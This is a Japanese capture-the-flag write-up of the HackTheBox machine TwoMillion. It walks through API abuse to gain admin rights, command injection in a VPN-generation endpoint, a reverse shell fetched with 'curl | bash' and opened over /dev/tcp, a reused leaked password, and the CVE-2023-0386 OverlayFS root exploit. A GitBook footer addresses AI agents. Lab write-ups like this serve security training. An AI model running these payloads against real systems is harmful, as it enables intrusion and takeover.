> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md). # TwoMillion HackTheBox攻略記事 APIを悪用して有効な招待コードを生成し、APIを悪用して権限を管理者に昇格し、設計不良によるコマンドインジェクションを行うTwoMillion HackTheBox Easy Linuxマシンの攻略記事。 {% embed url="" %} {% hint style="warning" %} **スキル:** * APIを悪用して有効な招待コードを生成する * APIを悪用して権限を管理者に昇格させる * 設計の不十分なAPI機能を介したコマンドインジェクション * 情報漏えい * カーネルエクスプロイト（CVE-2023-0386）による権限昇格 - OverlayFSの脆弱性 {% endhint %} **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts ```

**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,80 2million.htb-oN targeted ```

## ポート80 - HTTP

#### Gobusterによるリソース探索 ```bash gobuster dir -u http://2million.htb/ / -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt / -t 100 -r --exclude-length 1674 ```

#### の発見 `inviteapi.min.js` ファイルこのJavaScriptファイルは、古典的な `eval(function(p,a,c,k,e,d){...})` 技法を使って強く難読化されています。難読化解除後、2つの興味深い関数が現れます: * `verifyInviteCode(code)`: 招待コードを `/api/v1/invite/verify` * `makeInviteCode()`: へリクエストを送信します `/api/v1/invite/how/to/generate`

## APIの悪用 – 招待コードの生成 #### 最初の呼び出し: ```bash curl -X POST / -H "Content-Type: application/json" / http://2million.htb/api/v1/invite/how/to/generate ``` 回答 > {"0":200,"success":1,"data":{"data":"招待コードを生成するには、/ncv/i1/vaivgr/trarengr へPOSTリクエストを送る必要があります","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}# #### ROT13の復号 → 新しいURL: {% embed url="" %}

招待コードを生成するには、/api/v1/invite/generate にPOSTリクエストを送信します #### リクエスト: ```bash curl -X POST / -H "Content-Type: application/json" / http://amillion.htb/api/v1/invite/generate ```

レスポンス（base64）: * V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM= デコード： ```bash echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo ``` WUOIF-LK68X-HUGTW-DOX1S このコードを使ってサイト上でアカウントを作成します。

## HackTheBox APIの悪用

#### APIの観察にアクセスすることで `/api`、利用可能なルートを確認できます。

#### VPN設定の生成を試行（初回失敗） ```bash curl -v -X POST / -H "Content-Type: application/json" / --cookie "session=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate ``` 回答: 許可されていません。

#### API経由でロールを変更する

次のルートでユーザー設定の変更を試します: ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update ``` > {"status":"danger","message":"Missing parameter: email"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}' ``` > {"status":"danger","message":"Missing parameter: is/\_admin"} ```bash curl -X PUT / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}' ``` > 回答: > > {"id":15,"username":"Jordan","is/\_admin":1}

#### 管理者ステータスの確認 ```bash curl -s -X GET / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/auth | jq { "message": true } ```

### コマンドインジェクションによるRCE ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}' ```

フィールドへのコマンド注入を試みる `username`: ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}' ```

#### リバースシェル 1. **ファイルサーバー** ```bash echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html python3 -m http.server 80 ``` 2. **netcat待機中** ```bash nc -nvlp 443 ``` 3. **コマンドを送信** ```bash curl -s -X POST / -H "Content-Type: application/json" / -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" / http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}' ``` リバースシェルを取得します

## 権限昇格 #### 機密ファイルの発見シェルからアクセスできるファイルを検索すると、隠された `.env` データベースの認証情報を含むファイルを発見します: ```bash DATABASE=htb_prod USERNAME=admin PASSWORD=SuperDuperPass123 ```

さらに、次の名前の別のユーザーの存在にも気づきます `admin`.

#### パスワードの再利用発見した認証情報を試すことで、システムユーザー `admin` が **同じパスワード** をデータベースのパスワードとして使っていることが分かります。 ### フラグ user.txt :)

この悪い慣習によって、私たちは **SSH接続**: #### システムメール

接続時に、ある **新しいメール**の存在を知らせるメッセージが表示されます。読むと、重要な情報を得られます: > やあ、管理者へ、 > > DB移行をできるだけ早く進めているのは分かっています。部分的に停止している間に、WebホストのOSもアップグレードしてもらえますか？今年はすでに深刻なLinuxカーネルCVEがいくつかあります。OverlayFS / FUSE のあれは危険そうです。あれで侵入されるわけにはいきません。

このメッセージは私たちを **OverlayFSの既知の脆弱性**:/ **CVE-2023-0386** へと導きます – Linuxカーネルのローカル権限昇格脆弱性です。 ## CVE-2023-0386の悪用 - OverlayFS権限昇格 > OverlayFSはファイルシステムを重ね合わせることができます。Linuxカーネルの一部のバージョンでは、不十分な容量管理により、権限のないユーザーが **root権限**. {% embed url="" %} **手順** 1. **エクスプロイトをクローンする** をローカルマシンで実行します: ```bash git clone https://github.com/puckiestyle/CVE-2023-0386 cd CVE-2023-0386 make all ``` 2. **コンパイルしたファイルを転送する** ターゲットマシンへ（`scp`, `python -m http.server`など）。

2. **ターゲットマシン上で**、で実行します **2つのターミナル**: * ターミナルA: ```bash ./fuse ./ovlcap/lower ./gc ``` * ターミナルB: ```bash ./exp ``` 順調にいけば、私たちは **root** シェル

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.